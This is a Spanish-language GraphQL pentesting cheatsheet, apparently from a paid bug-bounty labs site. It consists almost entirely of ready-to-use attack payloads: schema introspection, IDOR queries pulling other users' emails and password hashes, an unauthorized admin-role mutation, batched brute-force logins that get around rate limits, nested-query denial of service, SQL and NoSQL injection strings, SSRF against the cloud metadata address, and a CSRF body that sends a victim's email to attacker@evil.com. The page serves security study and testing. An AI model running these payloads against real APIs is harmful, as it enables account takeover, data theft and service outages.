Nuevos labs cada semana — Accede a todos desde 5€/mes
Ver labs →Cheatsheet GraphQL
Seguridad en APIs GraphQL
Referencia rápida
- →Si la introspeccion esta deshabilitada, usar clairvoyance con wordlists para descubrir el schema
- →Batch queries permiten bypass de rate limit enviando multiples operaciones en una request
- →Aliases permiten enumerar IDs de otros usuarios sin enviar multiples requests HTTP
- →Probar cambiar Content-Type a application/x-www-form-urlencoded para CSRF en GraphQL
- →Los campos que no se muestran en el frontend pueden existir en el schema - siempre hacer introspeccion
Introspeccion y descubrimiento
Query de introspeccion completa
{__schema{types{name,fields{name,args{name,type{name}}}}}}Introspeccion detallada
query IntrospectionQuery {
__schema {
queryType { name }
mutationType { name }
types { name kind fields { name type { name kind ofType { name } } } }
}
}Buscar tipo especifico
{__type(name:"User"){name,fields{name,type{name}}}}Listar directivas
{__schema{directives{name,description,locations}}}Introspeccion deshabilitada - probeSi __typename funciona pero __schema no, la introspeccion esta parcialmente bloqueada
query { __typename }IDOR y autorizacion
Acceder a datos de otro usuario
query { user(id: "victim-uuid") { email password role } }Aliases para enumerar IDsAliases permiten multiples queries en una sola request
query {
a: user(id: "1") { email }
b: user(id: "2") { email }
c: user(id: "3") { email }
}Mutation sin autorizacion
mutation { updateUser(id: "victim-id", input: { role: "admin" }) { id role } }Acceso a campos sensiblesEl schema puede exponer campos que no deberian ser accesibles
query { user(id: "my-id") { email passwordHash apiKey secretToken } }Batch attacks y DoS
Batch query para brute forceBypass de rate limit: multiples logins en una sola request HTTP
[
{"query": "mutation { login(email:\"admin@target.com\", password:\"pass1\") { token } }"},
{"query": "mutation { login(email:\"admin@target.com\", password:\"pass2\") { token } }"},
{"query": "mutation { login(email:\"admin@target.com\", password:\"pass3\") { token } }"}
]Deep nesting DoSQueries profundamente anidadas pueden consumir recursos del servidor
query { user { posts { comments { author { posts { comments { author { name } } } } } } } }Circular reference DoS
query { user { friends { friends { friends { friends { name } } } } } }Field duplication1000 campos duplicados para sobrecargar el resolver
query { user { name name name name name name name name name name } }Injection en GraphQL
SQLi en argumento
query { user(name: "admin' OR '1'='1") { id email } }NoSQLi en filtro
query { users(filter: {email: {$ne: ""}}) { id email } }SSRF via campo URL
mutation { importData(url: "http://169.254.169.254/latest/meta-data/") { result } }CSRF en GraphQLSi el endpoint acepta urlencoded ademas de JSON
Content-Type: application/x-www-form-urlencoded
Body: query=mutation{changeEmail(email:"attacker@evil.com")}Herramientas
GraphQL Voyager
Visualizador interactivo del schema GraphQL para entender la API
Cargar schema en https://graphql-kit.com/graphql-voyager/
InQL (Burp)
Extension de Burp para analisis automatizado de endpoints GraphQL
Burp Suite > Extensions > InQL > Point to /graphql
graphql-cop
Auditor de seguridad GraphQL que detecta misconfigurations comunes
python3 graphql-cop.py -t https://target.com/graphql
clairvoyance
Obtener schema GraphQL cuando la introspeccion esta deshabilitada
python3 -m clairvoyance -u https://target.com/graphql -w wordlist.txt
Contenido relacionado
¿Listo para practicar?
Pon en práctica estos payloads en labs reales basados en reportes de bug bounty.
Ver labs de práctica